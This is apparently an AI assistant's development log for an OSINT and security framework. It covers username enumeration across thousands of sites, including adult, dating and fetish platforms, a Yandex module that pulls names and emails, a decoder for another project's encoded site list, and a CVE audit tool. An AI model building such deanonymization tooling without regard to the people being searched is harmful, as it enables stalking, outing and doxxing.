[1] Status code + +[+] Added 'FakeAdult' to custom sites + URL: https://fakeadult.com/user/ +``` + +--- + +### Files Modified + +| File | Changes | +|------|---------| +| modules/adultscan.py | Added custom site management (~150 new lines) | + +--- + +### New Methods Added + +| Method | Purpose | +|--------|---------| +| `load_custom_sites()` | Load from JSON file | +| `save_custom_sites()` | Save to JSON file | +| `add_custom_site()` | Interactive add wizard | +| `manage_custom_sites()` | View/manage menu | +| `remove_custom_site()` | Remove by index | + +--- + +### Storage Format (custom_adultsites.json) +```json +{ + "sites": [ + ["Site Name", "https://example.com/user/{}", "status"], + ["Another Site", "https://other.com/profile/{}", "content"] + ] +} +``` + +Note: `*` in user input is converted to `{}` for internal template formatting. + +--- + +--- + +## Session 1 (Continued) - Auto-Detect Site Patterns + +### User Request +> lets add auto detection add, all the user has to is add fakeadult.com and the application just searches for a username using the most common patterns like fakeadult.com/u/* fakeadult.com/user/* etc + +--- + +### Work Completed + +#### 12. Auto-Detect Site Pattern Feature + +**modules/adultscan.py** - Updated to v1.2 + +Added auto-detection that probes common URL patterns: + +**New Menu Option:** +``` + Site Management: + [A] Add Custom Site (manual) + [D] Auto-Detect Site Pattern <- NEW + [M] Manage Custom Sites + [L] List All Sites +``` + +**Common Patterns Tested:** +```python +COMMON_PATTERNS = [ + '/user/{}', + '/users/{}', + '/u/{}', + '/profile/{}', + '/profiles/{}', + '/member/{}', + '/members/{}', + '/@{}', + '/{}', + '/people/{}', + '/account/{}', + '/id/{}', + '/{}/profile', + '/user/{}/profile', + '/channel/{}', + '/c/{}', + '/p/{}', +] +``` + +**Workflow:** +1. User enters just the domain (e.g., `example.com`) +2. User provides a known-existing username for testing +3. System probes all 17 common patterns +4. Shows which patterns return 200/301/302 responses +5. User selects the working pattern to add +6. Site is saved to custom sites + +**Example Usage:** +``` +Domain: fakeadult.com +Test username: knownuser + +Testing 17 common URL patterns... + +Found 2 working pattern(s): + + [1] /user/{} (OK) + https://fakeadult.com/user/knownuser + [2] /u/{} (redirect 302) + https://fakeadult.com/u/knownuser + + [0] Cancel + +Select pattern to add: 1 +Site name [Fakeadult]: FakeAdult +[+] Added 'FakeAdult' to custom sites + Pattern: https://fakeadult.com/user/* +``` + +**Detection Logic:** +- Uses 5-second timeout per pattern +- HTTP 200 = confirmed working +- HTTP 301/302 = working (redirect) +- HTTP 404/other = not working +- Auto-selects detection method based on response + +--- + +### Files Modified + +| File | Changes | +|------|---------| +| modules/adultscan.py | Added auto-detect (~90 new lines) | + +--- + +### New Components + +| Component | Purpose | +|-----------|---------| +| `COMMON_PATTERNS` | List of 17 common URL patterns | +| `auto_detect_site()` | Interactive auto-detection wizard | + +--- + +### Notes +- Auto-detect requires a known valid username to test against +- Some sites may have rate limiting that affects detection +- Falls back to manual add if no patterns work + +--- + +--- + +## Session 1 (Continued) - Bulk Import Feature + +### User Request +> lets also add a bulk list function where the user can add sites to custom.inf and then it scans for new sites using autodetect + +--- + +### Work Completed + +#### 13. Bulk Import from File + +**modules/adultscan.py** - Updated to v1.3 + +Added bulk import that reads domains from a file and auto-detects patterns: + +**New Menu Option:** +``` + Site Management: + [A] Add Custom Site (manual) + [D] Auto-Detect Site Pattern + [B] Bulk Import from File <- NEW + [M] Manage Custom Sites + [L] List All Sites +``` + +**Bulk Import File:** `custom_sites.inf` + +**File Format:** +``` +# AUTARCH Adult Site Scanner - Bulk Import File +# Add one domain per line (without http:// or https://) +# Lines starting with # are comments + +example.com +another-site.net +subdomain.site.org +``` + +**Workflow:** +1. User adds domains to `custom_sites.inf` (one per line) +2. Run Bulk Import `[B]` +3. System reads domains from file +4. Skips already-added domains +5. Prompts for test username (e.g., "admin", "test") +6. Auto-detects URL pattern for each domain +7. Adds working sites to custom sites +8. Reports failed domains +9. Option to clear import file when done + +**Example Session:** +``` +Found 5 domain(s) in custom_sites.inf: + - site1.com + - site2.net + - site3.org + ... + +Will scan 5 new domain(s) + +Test username: admin + +Scanning 5 domains... + +[1/5] Scanning site1.com... + [+] Added Site1: /user/{} +[2/5] Scanning site2.net... + [+] Added Site2: /profile/{} +[3/5] Scanning site3.org... + [X] No pattern found +... + +Successfully added 4 site(s) + +Failed to detect patterns for 1 domain(s): + - site3.org +Try adding these manually with [A] or [D] + +Clear import file? (y/n): y +[+] Import file cleared +``` + +**Features:** +- Creates template file if not exists +- Skips domains already in custom sites +- Uses first working pattern found (efficient) +- Reports failures for manual follow-up +- Option to clear file after import + +--- + +### Files Modified + +| File | Changes | +|------|---------| +| modules/adultscan.py | Added bulk import (~120 new lines) | + +--- + +### New Components + +| Component | Purpose | +|-----------|---------| +| `BULK_IMPORT_FILE` | Path to `custom_sites.inf` | +| `probe_domain()` | Reusable pattern detection helper | +| `bulk_import()` | Bulk import wizard | + +--- + +### File Locations + +| File | Purpose | +|------|---------| +| `custom_sites.inf` | Domains to import (user editable) | +| `custom_adultsites.json` | Saved custom sites (auto-managed) | + +--- + +--- + +## Session 1 (Continued) - CLI System & Documentation + +### User Request +> give me an overview of what we have done so far and create in depth technical user guide with all the cli commands and arguments and add a detailed --help argument + +--- + +### Work Completed + +#### 14. Comprehensive CLI System + +**autarch.py** - Complete rewrite with argparse CLI + +**New CLI Options:** +``` +Usage: python autarch.py [OPTIONS] [COMMAND] + +Options: + -h, --help Show detailed help message + -v, --version Show version information + -c, --config FILE Use alternate config file + -m, --module NAME Run a specific module directly + -l, --list List all available modules + --list-category CAT List modules in specific category + --show-config Display current configuration + --setup Force run setup wizard + --no-banner Suppress ASCII banner + -q, --quiet Minimal output mode + --verbose Enable verbose output + +Commands: + chat Start interactive LLM chat + agent Start autonomous agent + osint Quick OSINT username scan + scan Quick port scan + analyze Run analyze module +``` + +**Examples:** +```bash +# Show help +python autarch.py --help + +# Run specific module +python autarch.py -m adultscan +python autarch.py -m recon + +# List modules +python autarch.py --list +python autarch.py --list-category osint + +# Quick OSINT +python autarch.py osint targetuser + +# Show config +python autarch.py --show-config + +# Re-run setup +python autarch.py --setup +``` + +**Help Output Features:** +- Detailed epilog with categories, modules, examples +- Configuration reference +- File locations +- Color-coded output + +--- + +#### 15. Technical User Guide + +**GUIDE.md** - Comprehensive documentation created + +Contents: +1. Project Overview +2. Project Structure +3. Installation & Setup +4. Command Line Interface (all options) +5. Main Menu Navigation +6. Module Reference (all modules) +7. Configuration Reference +8. Creating Custom Modules +9. Agent Tools Reference +10. Troubleshooting +11. Security Notice + +--- + +### Files Created/Modified + +| File | Changes | +|------|---------| +| autarch.py | Complete CLI rewrite (~480 lines) | +| GUIDE.md | New comprehensive guide (~600 lines) | + +--- + +### New CLI Functions + +| Function | Purpose | +|----------|---------| +| `create_parser()` | Build argparse parser with all options | +| `get_epilog()` | Generate detailed help epilog | +| `show_version()` | Display version info | +| `show_config()` | Display current config | +| `list_modules()` | List available modules | +| `run_module()` | Run module directly | +| `quick_osint()` | Quick OSINT scan | +| `quick_scan()` | Quick port scan | + +--- + +### Project Summary + +**Total Files Created:** 19 Python files + 3 documentation files + +**Core Framework (core/):** +| File | Lines | Purpose | +|------|-------|---------| +| banner.py | ~42 | ASCII banner, colors | +| config.py | ~143 | Configuration handler | +| llm.py | ~280 | LLM wrapper | +| agent.py | ~320 | Autonomous agent | +| tools.py | ~500 | Tool registry | +| menu.py | ~480 | Main menu system | +| msf.py | ~380 | Metasploit RPC | + +**Modules (modules/):** +| File | Lines | Category | Purpose | +|------|-------|----------|---------| +| setup.py | ~234 | - | Setup wizard | +| chat.py | ~250 | core | LLM chat | +| agent.py | ~175 | core | Agent interface | +| msf.py | ~420 | offense | MSF interface | +| defender.py | ~280 | defense | System hardening | +| counter.py | ~350 | counter | Threat detection | +| analyze.py | ~320 | analyze | Forensics | +| recon.py | ~590 | osint | OSINT recon | +| adultscan.py | ~650 | osint | Adult site scanner | +| simulate.py | ~310 | simulate | Attack simulation | + +**Documentation:** +| File | Purpose | +|------|---------| +| DEVLOG.md | Development history | +| GUIDE.md | User guide | +| README.md | (not created, can add) | + +**Configuration Files:** +| File | Purpose | +|------|---------| +| autarch_settings.conf | Main config | +| custom_adultsites.json | Custom sites storage | +| custom_sites.inf | Bulk import file | + +--- + +### Feature Summary + +**LLM Integration:** +- llama-cpp-python wrapper +- ChatML format prompts +- Streaming support +- Configurable parameters + +**Agent System:** +- Autonomous task execution +- Tool registry (12+ tools) +- THOUGHT/ACTION/PARAMS format +- User interaction support + +**Metasploit Integration:** +- RPC client +- Module search/execution +- Session management +- Console commands + +**OSINT Capabilities:** +- Email lookup/permutation +- Username search (17+ platforms) +- Phone number analysis +- Domain/IP reconnaissance +- Adult site scanner (50+ sites) +- Custom site management +- Auto-pattern detection +- Bulk import + +**Security Tools:** +- System hardening audit +- Threat detection +- File forensics +- Attack simulation +- Payload generation + +**CLI Features:** +- Full argparse integration +- Module direct execution +- Quick commands +- Configuration display +- Verbose/quiet modes + +--- + +--- + +## Session 2 - 2026-01-15 + +### User Request +> lets add a new option to defensive 'My System'. When user selects this option it prompts the user to run the full system audit, save the info to system.inf, and scores your security. Then it shows the results as options. when the selects one, it offers to use the llm to auto fix the issue or shows you the options on how to do it manually. Lets also add a CVE database, not just for the system audit, but for other modules as well. For my system menu, have the application detect the system the application is running on and download the database. have the app use https://nvd.nist.gov/developers/vulnerabilities to get the info. + +--- + +### Work Completed + +#### 1. CVE Database System (core/cve.py) + +**CVEDatabase Class** - Full NVD API Integration: +- Uses NIST NVD REST API v2.0 (https://services.nvd.nist.gov/rest/json/cves/2.0) +- Automatic OS detection with CPE mapping +- Supports 15+ operating systems: + - Ubuntu, Debian, Fedora, CentOS, RHEL + - Rocky Linux, Alma Linux, Arch, openSUSE, SUSE + - Kali, Linux Mint, Windows, macOS + +**Key Methods:** +| Method | Purpose | +|--------|---------| +| `_detect_system()` | Auto-detect OS type, version, kernel | +| `search_cves()` | Search NVD by keyword, CPE, severity | +| `get_cve_details()` | Get detailed CVE information | +| `get_system_cves()` | Get CVEs for detected system | +| `get_software_cves()` | Search CVEs for specific software | +| `get_installed_packages()` | List system packages (dpkg/rpm/pacman) | + +**Features:** +- Local JSON cache (24-hour expiry) +- API key support for higher rate limits +- CVSS v2/v3 score parsing +- CPE-based vulnerability matching +- Severity filtering (LOW/MEDIUM/HIGH/CRITICAL) +- Progress callbacks for UI integration + +**OS to CPE Mapping:** +```python +OS_CPE_MAP = { + 'ubuntu': 'cpe:2.3:o:canonical:ubuntu_linux', + 'debian': 'cpe:2.3:o:debian:debian_linux', + 'fedora': 'cpe:2.3:o:fedoraproject:fedora', + 'rhel': 'cpe:2.3:o:redhat:enterprise_linux', + 'windows': 'cpe:2.3:o:microsoft:windows', + 'macos': 'cpe:2.3:o:apple:macos', + # ... and more +} +``` + +--- + +#### 2. My System Module (modules/mysystem.py) + +**Comprehensive System Audit with CVE Detection & Auto-Fix** + +**Menu Structure:** +``` + My System - Security Audit + ────────────────────────────────────────────────── + Detected: ubuntu 22.04 + Kernel: 5.10.0-1012-rockchip + Last Score: 75/100 + Open Issues: 5 + + [1] Run Full System Audit + [2] Run Audit (Skip CVE Check) + + [3] View Issues (X found) + [4] View CVE Report + + [5] Search CVE Database + [6] Check Software for CVEs + + [0] Back to Main Menu +``` + +**Security Checks Performed:** +| Check | Description | Severity Impact | +|-------|-------------|-----------------| +| Firewall | iptables/ufw/firewalld status | HIGH if missing | +| SSH Config | Root login, password auth, protocol | HIGH-CRITICAL | +| Open Ports | 15 high-risk ports detection | MEDIUM-CRITICAL | +| Users | UID 0 accounts, empty passwords | CRITICAL | +| Permissions | Critical file modes (/etc/shadow, etc.) | MEDIUM | +| Services | Dangerous services (telnet, rsh, etc.) | HIGH | +| Updates | Pending package updates | MEDIUM | +| Fail2Ban | Brute-force protection status | LOW-MEDIUM | +| Antivirus | ClamAV or other AV detection | LOW | +| CVEs | System-specific vulnerabilities | HIGH-CRITICAL | + +**Issue Tracking:** +- `SecurityIssue` class with severity levels +- Automatic security score calculation (0-100) +- Score penalties: CRITICAL=-20, HIGH=-15, MEDIUM=-10, LOW=-5 +- Persists to `system.inf` JSON file + +**Issue Remediation Options:** +``` + Issue Details + ────────────────────────────────────────────────── + Name: SSH Root Login Enabled + Severity: HIGH + Category: ssh + + Description: + Root login via SSH is not disabled + + Manual Fix Instructions: + Edit /etc/ssh/sshd_config: + PermitRootLogin no + Then restart: sudo systemctl restart sshd + + Auto-Fix Command: + sudo sed -i 's/^#*PermitRootLogin.*/PermitRootLogin no/' /etc/ssh/sshd_config && sudo systemctl restart sshd + + [1] Auto-Fix with LLM + [2] Apply Manual Fix + [3] Mark as Ignored + [0] Back +``` + +**LLM Auto-Fix Feature:** +- Consults LLM for fix recommendations +- Provides risk explanation +- Generates context-aware fix commands +- User confirmation before execution +- Streaming response display + +**CVE Features:** +- CVE report with severity breakdown +- Interactive CVE search +- Software-specific CVE lookup +- Detailed CVE view with CVSS scores + +--- + +#### 3. Defender Module Update + +**modules/defender.py** - Added "My System" option: +``` + System Defender + ────────────────────────────────────────────────── + + [M] My System - Full audit with CVE detection & auto-fix + + [1] Quick Security Audit + [2] Firewall Check + ... +``` + +--- + +### Updated Project Structure +``` +dh_framework/ +├── autarch.py +├── autarch_settings.conf +├── system.inf # Audit results (NEW) +├── DEVLOG.md +├── GUIDE.md +├── data/ +│ └── cve/ +│ └── cve_cache.json # CVE cache (NEW) +├── core/ +│ ├── __init__.py +│ ├── agent.py +│ ├── banner.py +│ ├── config.py +│ ├── cve.py # CVE database (NEW) +│ ├── llm.py +│ ├── menu.py +│ ├── msf.py +│ └── tools.py +└── modules/ + ├── __init__.py + ├── adultscan.py + ├── agent.py + ├── analyze.py + ├── chat.py + ├── counter.py + ├── defender.py # Updated with My System + ├── msf.py + ├── mysystem.py # My System module (NEW) + ├── recon.py + ├── setup.py + └── simulate.py +``` + +--- + +### Files Added/Modified + +| File | Lines | Purpose | +|------|-------|---------| +| core/cve.py | ~500 | CVE database with NVD API | +| modules/mysystem.py | ~680 | My System audit module | +| modules/defender.py | +10 | Added My System menu option | + +--- + +### Configuration (autarch_settings.conf) + +New optional section for NVD API: +```ini +[nvd] +api_key = ; Optional - for higher rate limits +``` + +--- + +### Storage Files + +| File | Format | Purpose | +|------|--------|---------| +| system.inf | JSON | Audit results, issues, scores | +| data/cve/cve.db | SQLite | CVE database | +| custom_apis.json | JSON | Custom API configurations | + +--- + +### Notes + +- NVD API has rate limits: 5 requests/30s without key, 50 requests/30s with key +- Request API key at: https://nvd.nist.gov/developers/request-an-api-key +- SQLite database enables fast offline CVE queries +- LLM auto-fix requires loaded model +- Security score is cumulative based on issue severity + +--- + +--- + +## Session 2 (Continued) - SQLite CVE Database & Settings Menus + +### User Request +> what database format did you use for the database... yes lets use sqlite +> in the settings menu, lets add a CVE menu. Lets also add a menu for users to add custom api's and a menu for this applications api (not implemented yet) + +--- + +### Work Completed + +#### 1. SQLite CVE Database (core/cve.py rewrite) + +Replaced JSON caching with full SQLite database: + +**Database Schema:** +```sql +-- Main CVE table +CREATE TABLE cves ( + id INTEGER PRIMARY KEY, + cve_id TEXT UNIQUE NOT NULL, + description TEXT, + published TEXT, + modified TEXT, + cvss_v3_score REAL, + cvss_v3_severity TEXT, + cvss_v3_vector TEXT, + cvss_v2_score REAL, + cvss_v2_severity TEXT, + cvss_v2_vector TEXT +); + +-- Affected products (CPE) +CREATE TABLE cve_cpes ( + cve_id TEXT, + cpe_criteria TEXT, + vulnerable INTEGER, + version_start TEXT, + version_end TEXT +); + +-- References +CREATE TABLE cve_references ( + cve_id TEXT, + url TEXT, + source TEXT +); + +-- Weaknesses (CWE) +CREATE TABLE cve_weaknesses ( + cve_id TEXT, + cwe_id TEXT +); + +-- Metadata +CREATE TABLE metadata ( + key TEXT PRIMARY KEY, + value TEXT +); +``` + +**Key Methods:** +| Method | Purpose | +|--------|---------| +| `sync_database()` | Download CVEs from NVD API | +| `sync_recent()` | Quick sync (last 7 days) | +| `search_cves()` | Local database search | +| `get_cve()` | Get detailed CVE info | +| `get_system_cves()` | CVEs for detected OS | +| `get_software_cves()` | CVEs for specific software | +| `fetch_cve_online()` | Online fallback for single CVE | +| `search_online()` | Online search fallback | + +**Features:** +- Thread-safe SQLite connections +- Indexed columns for fast queries +- Batch processing with progress display +- Rate limiting (respects NVD limits) +- Online fallback when database empty + +--- + +#### 2. Settings Menu Updates (core/menu.py) + +**New Settings Menu Structure:** +``` + Settings + ────────────────────────────────────────────────── + + [1] LLM Settings + [2] Metasploit Settings + [3] CVE Database Settings <- NEW + [4] Custom APIs <- NEW + [5] AUTARCH API <- NEW + + [6] View All Settings + [7] Run Setup Wizard + + [0] Back +``` + +--- + +#### 3. CVE Database Settings Menu + +``` + CVE Database Settings + ────────────────────────────────────────────────── + + Database Path: /home/.../data/cve/cve.db + Database Size: 150.5 MB + Total CVEs: 245,000 + Last Sync: 2026-01-15 + + Detected OS: Ubuntu 22.04.5 LTS + CPE Prefix: cpe:2.3:o:canonical:ubuntu_linux + + NVD API Key: Configured + + [1] Sync Database (Recent - 120 days) + [2] Sync Database (Full - all CVEs) + [3] Set NVD API Key + [4] Clear Database + + [0] Back +``` + +--- + +#### 4. Custom APIs Menu + +Allows users to add and manage external API integrations: + +``` + Custom APIs + ────────────────────────────────────────────────── + + Configured APIs: + [1] VirusTotal - Active + https://www.virustotal.com/api/v3/... + [2] Shodan - Active + https://api.shodan.io/... + + [A] Add API + [E] Edit API + [D] Delete API + [T] Toggle API + + [0] Back +``` + +**API Configuration Fields:** +- Name +- Base URL +- API Key +- Description +- Type (REST, GraphQL, SOAP, Other) +- Enabled/Disabled status + +**Storage:** `custom_apis.json` + +--- + +#### 5. AUTARCH API Menu (Placeholder) + +Placeholder for future REST API implementation: + +``` + AUTARCH API + ────────────────────────────────────────────────── + + Status: Disabled + Port: 8080 + API Key: Not set + + [!] API functionality coming in future version + + [1] Configure API Settings + [2] Generate API Key + [3] View API Documentation + + [0] Back +``` + +**Planned Endpoints:** +- `GET /api/v1/status` - Framework status +- `GET /api/v1/modules` - List modules +- `POST /api/v1/scan` - Run security scan +- `GET /api/v1/cve/search` - Search CVE database +- `POST /api/v1/agent/task` - Submit agent task + +--- + +### Updated My System Module + +Added CVE database sync options: + +``` + My System - Security Audit + ────────────────────────────────────────────────── + Detected: ubuntu 22.04 + CVE Database: 245,000 CVEs (150.5 MB) + Last Sync: 2026-01-15 + + [1] Run Full System Audit + [2] Run Audit (Skip CVE Check) + + [7] Sync CVE Database (Recent) <- NEW + [8] Sync CVE Database (Full) <- NEW + [9] CVE Database Info <- NEW + + [0] Back +``` + +--- + +### Files Modified + +| File | Changes | +|------|---------| +| core/cve.py | Complete rewrite - SQLite database (~870 lines) | +| core/menu.py | Added CVE, Custom APIs, AUTARCH API menus (~300 new lines) | +| modules/mysystem.py | Updated for SQLite, added sync options (~100 lines changed) | + +--- + +### New Files + +| File | Purpose | +|------|---------| +| data/cve/cve.db | SQLite CVE database | +| custom_apis.json | Custom API configurations | + +--- + +### Database Sync Estimates + +| Sync Type | CVEs | Time (no key) | Time (with key) | Size | +|-----------|------|---------------|-----------------|------| +| Recent (120 days) | ~5,000 | 10-15 min | 2-3 min | ~5 MB | +| Full (since 1999) | ~245,000 | 4-6 hours | 30-60 min | ~150-300 MB | + +--- + +### Notes + +- SQLite file located at `data/cve/cve.db` +- Get NVD API key for faster syncs: https://nvd.nist.gov/developers/request-an-api-key +- Database supports offline CVE lookups after initial sync +- Custom APIs stored in `custom_apis.json` in framework root +- AUTARCH API is placeholder - implementation in future version + +--- + +--- + +## Session 2 (Continued) - Sites Database Expansion + +### User Request +> now lets add more sites. Start crawling and scraping, do not exclude any kind of site. If you can create an account and post things add it. both nsfw and sfw + +--- + +### Work Completed + +#### 1. New Source Added: reveal-my-name + +Added osint-liar/reveal-my-name as a new source (extended WhatsMyName fork with 2,140+ sites): +- URL: `https://raw.githubusercontent.com/osint-liar/reveal-my-name/main/wmn-data.json` +- Contains 628 parseable sites with improved detection patterns +- Handles XXXPORNXXX category for NSFW detection + +**Parser Added:** `_parse_reveal_my_name()` in core/sites_db.py + +--- + +#### 2. XenForo/vBulletin Forums Added + +Added 43 major forums from XenForo's large forums list with multiple URL patterns: + +| Posts | Forums Added | +|-------|--------------| +| 100M+ | IGN Boards | +| 50-99M | Disboards, Christian Forums, BigFooty | +| 20-49M | Sherdog, HFBoards, PurseForum, SpaceBattles, ADV Rider, Grasscity, etc. | +| 10-19M | Paradox, BladeForums, Smashboards, RedCafe, TalkBass, TheColi, Se7enSins, etc. | + +Each forum added with both XenForo (`/members/{}.html`) and vBulletin (`/member.php?username={}`) patterns. + +--- + +#### 3. Adult/NSFW Sites Added + +**Cam Sites:** +- Chaturbate, StripChat, CamSoda, BongaCams, LiveJasmin, Cam4, MyFreeCams +- JerkMate, LivePrivates, Flirt4Free, Streamate + +**Fan/Creator Platforms:** +- OnlyFans, Fansly, JustForFans, Fanvue, ManyVids +- LoyalFans, FanCentro, PocketStars, Unlockd, Alua, AdmireMe VIP + +**Tube Sites:** +- Pornhub Models, xHamster Models, XVideos Models, ModelHub + +**Adult Social/Dating:** +- FetLife, CollarSpace, SwingLifeStyle, Adult Friend Finder, Ashley Madison + +**Gaming Adult:** +- F95zone, LoversLab, ULMF + +**Hentai/Anime:** +- Hentai Foundry, Fakku, Gelbooru, Danbooru, Sankaku Complex + +**Furry:** +- Fur Affinity, e621, SoFurry, Inkbunny + +--- + +#### 4. Mainstream Sites Added + +**Social/Messaging:** +- Discord, Telegram, Mastodon, Threads, Bluesky, Cohost, Nostr, Matrix + +**Dating:** +- Tinder, Bumble, Hinge, OkCupid, Badoo, Grindr, Scruff, HER + +**Crypto/Finance:** +- CoinMarketCap, CoinGecko, OpenSea, Rarible, Foundation, Mirror, Farcaster + +**Streaming:** +- Twitch, Kick, TikTok, Trovo, DLive, Rumble, Odysee + +**Creative:** +- ArtStation, Dribbble, Behance, DeviantArt, SoundCloud, Bandcamp + +**Shopping:** +- Etsy, eBay, Depop, Poshmark, Grailed, Fiverr, Upwork + +**Blogging:** +- Medium, Substack, Dev.to, Hashnode, Ghost + +--- + +### Database Statistics + +| Metric | Before | After | +|--------|--------|-------| +| Total Sites | 3,481 | 3,751 | +| NSFW Sites | 618 | 661 | +| Custom Sites | 400 | 672 | +| Sources | 7 | 8 | + +**Sites by Source:** +| Source | Count | +|--------|-------| +| maigret | 1,682 | +| custom | 672 | +| social_analyzer | 469 | +| reveal_my_name | 312 | +| sherlock | 177 | +| cupidcr4wl | 142 | +| whatsmyname | 137 | +| detectdee | 126 | +| nexfil | 34 | + +**Sites by Category:** +| Category | Count | +|----------|-------| +| other | 1,922 | +| adult | 647 | +| social | 258 | +| forum | 245 | +| gaming | 166 | +| tech | 152 | +| news | 69 | +| finance | 68 | +| dating | 38 | +| art | 37 | + +--- + +### Files Modified + +| File | Changes | +|------|---------| +| core/sites_db.py | Added reveal_my_name source URL, parser, and import support | +| data/sites/reveal_my_name.json | Downloaded 7,076 lines (628 parseable sites) | +| data/sites/sites.db | Updated with 270+ new sites | + +--- + +### Notes + +- reveal_my_name prioritized below maigret/sherlock but above whatsmyname +- XXXPORNXXX category auto-mapped to 'adult' with nsfw=1 +- XenForo forums added with both XenForo and vBulletin URL patterns +- Many adult sites use simple status code detection (200 = exists) + +--- + +--- + +## Session 2 (Continued) - Snoop Project Integration + +### User Request +> i have it installed here... and the full database is BDfull + +--- + +### Work Completed + +#### 1. Snoop Database Decoding + +The Snoop Project stores its database in a base32-encoded, reversed format. Decoded the full database: + +**Decoding Process:** +```python +# 1. Read base32 encoded file +db = file.read() +# 2. Decode base32 +db_bytes = base64.b32decode(db) +# 3. Reverse bytes +db_bytes = db_bytes[::-1] +# 4. Decode UTF-8 +content = db_bytes.decode('utf-8', errors='replace') +# 5. Reverse string +content = content[::-1] +# 6. Parse JSON +data = json.loads(content) +``` + +**Results:** +- BDfull: 5,366 sites decoded +- Saved to: `/home/snake/dh_framework/data/sites/snoop_full.json` (1.95 MB) + +--- + +#### 2. Snoop Parser Added + +Added `_parse_snoop()` method to `core/sites_db.py`: + +**Snoop Data Structure:** +```python +{ + "SiteName": { + "country": "🇺🇸", # Emoji flag + "country_klas": "US", # Country code + "errorType": "status_code", # Detection method + "url": "https://site.com/user/{}", # URL template + "urlMain": "https://site.com/", # Main URL + "usernameON": "adam", # Test username + "errorMsg": "Not found", # Error message + "bad_site": "" # Problem indicator + } +} +``` + +**Parser Features:** +- Maps errorType to detection method (status_code → status, message → content) +- Extracts error patterns from errorMsg/errorMsg2 +- Handles encoding issues in key names + +--- + +### Updated Database Statistics + +| Metric | Before | After | +|--------|--------|-------| +| Total Sites | 3,751 | 8,315 | +| NSFW Sites | 661 | 654 | +| Sources | 8 | 9 | + +**Sites by Source:** +| Source | Count | +|--------|-------| +| snoop | 4,641 | +| maigret | 1,727 | +| custom | 604 | +| social_analyzer | 440 | +| reveal_my_name | 308 | +| sherlock | 169 | +| cupidcr4wl | 145 | +| whatsmyname | 134 | +| detectdee | 122 | +| nexfil | 25 | + +--- + +### Files Modified/Added + +| File | Changes | +|------|---------| +| core/sites_db.py | Added snoop source, `_parse_snoop()` method, updated priorities | +| data/sites/snoop_full.json | 5,366 sites (1.95 MB) | +| data/sites/sites.db | Updated with 8,315 total sites | + +--- + +### Backup Created + +- Path: `/home/snake/backups/dh_framework_backup_20260115_044001.tar.gz` +- Size: 1.5 MB + +--- + +### Notes + +- Snoop prioritized between maigret (highest) and sherlock +- Database now contains 8,315 sites for username enumeration (more than doubled) +- Many Snoop sites are Russian/Eastern European forums +- Snoop source stored locally (base32 encoded file required) + +--- + +--- + +## Session 2 (Continued) - Snoop Decoder Module + +### User Request +> now create a module to decrypt snoop databases and add it to OSINT menu + +--- + +### Work Completed + +#### 1. Created Snoop Decoder Module + +**modules/snoop_decoder.py** - Full GUI module for decoding Snoop databases + +**Features:** +- Decode any Snoop database file (BDdemo, BDfull, custom) +- View decoded data with statistics +- Import decoded sites to AUTARCH database +- Quick import from known locations +- View current sites database stats + +**Menu Structure:** +``` + Snoop Database Decoder + ────────────────────────────────────────────────── + + [1] Decode Snoop Database File + [2] Decode & Import to AUTARCH + [3] View Current Sites Database Stats + + [4] Quick Import (BDfull from snoop-master) + [5] Quick Import (BDdemo from snoop-master) + + [0] Back to OSINT Menu +``` + +**SnoopDecoder Class Methods:** +| Method | Purpose | +|--------|---------| +| `decode_database()` | Decode base32 encoded database file | +| `save_decoded()` | Save decoded data to JSON | +| `import_to_database()` | Import sites to AUTARCH SQLite DB | +| `show_sample()` | Display sample sites from decoded data | +| `get_stats()` | Get statistics about decoded database | + +--- + +#### 2. Added to OSINT Menu + +**modules/recon.py** - Updated with new tools section + +**New Menu Options:** +``` + Tools + [S] Snoop Database Decoder + [D] Sites Database Stats +``` + +**New Methods Added:** +| Method | Purpose | +|--------|---------| +| `run_snoop_decoder()` | Launch Snoop Decoder module | +| `show_sites_db_stats()` | Display sites DB statistics with visual bars | + +--- + +### Files Created/Modified + +| File | Lines | Purpose | +|------|-------|---------| +| modules/snoop_decoder.py | ~320 | New Snoop decoder module | +| modules/recon.py | +40 | Added tools section and handlers | + +--- + +### Module Metadata + +```python +NAME = "Snoop Decoder" +DESCRIPTION = "Decrypt and import Snoop Project databases" +AUTHOR = "darkHal Security Group" +VERSION = "1.0" +CATEGORY = "osint" +``` + +--- + +### Usage + +From AUTARCH main menu: +1. Select **OSINT** (option 5) +2. Press **S** for Snoop Database Decoder +3. Choose decode option (1-5) +4. Follow prompts to decode/import + +Or run directly: +```bash +python autarch.py -m snoop_decoder +``` + +--- + +## Session - 2026-01-15 (Continued) - Snoop Features Integration + +### User Request +> now lets add some snoops features to our app + +--- + +### Work Completed + +Added several Snoop-inspired features to AUTARCH, all translated to English and branded for AUTARCH: + +#### 1. GEO IP/Domain Lookup Module (`modules/geoip.py`) + +Full geolocation lookup for IPs, domains, and URLs. Features: +- Single IP/domain/URL lookup +- Your own IP lookup +- Bulk lookup from file +- Uses multiple API backends (ipwho.is, ipinfo.io) +- DNS resolution with IPv4/IPv6 +- Map links (OpenStreetMap, Google Maps) + +```python +NAME = "GEO IP Lookup" +DESCRIPTION = "Get geolocation for IPs, domains, and URLs" +AUTHOR = "darkHal Security Group" +VERSION = "1.0" +CATEGORY = "osint" +``` + +#### 2. Yandex OSINT Module (`modules/yandex_osint.py`) + +Gather intelligence from Yandex user accounts. Features: +- Lookup by login/email +- Extract user from Yandex.Disk public links +- Lookup by public ID (26-char hash) +- Returns: name, email, avatar, and profile links for: + - Yandex Reviews + - Yandex Market + - Yandex Music + - Yandex Dzen + - Yandex Q&A + +```python +NAME = "Yandex OSINT" +DESCRIPTION = "Gather intel from Yandex user accounts" +AUTHOR = "darkHal Security Group" +VERSION = "1.0" +CATEGORY = "osint" +``` + +#### 3. Network Test Module (`modules/nettest.py`) + +Network connectivity and speed testing. Features: +- Connectivity test (ping multiple sites) +- Full speed test (download/upload/ping) +- DNS resolution test +- Run all tests option +- Uses speedtest-cli library (optional) + +```python +NAME = "Network Test" +DESCRIPTION = "Test network speed and connectivity" +AUTHOR = "darkHal Security Group" +VERSION = "1.0" +CATEGORY = "utility" +``` + +#### 4. HTML Report Generator (`core/report_generator.py`) + +Generate professional HTML reports for scan results. Features: +- Dark theme with AUTARCH branding +- Username scan reports with: + - Stats overview + - Confidence scoring visualization + - Category breakdown + - Restricted access section +- GEO IP bulk lookup reports +- Responsive table design + +#### 5. Updated OSINT Menu + +New menu structure in `modules/recon.py`: + +``` + Tools + [G] GEO IP/Domain Lookup <- NEW + [Y] Yandex OSINT <- NEW + [N] Network Test <- NEW + [S] Snoop Database Decoder + [D] Sites Database Stats +``` + +#### 6. Username Scanner Improvements + +- Added 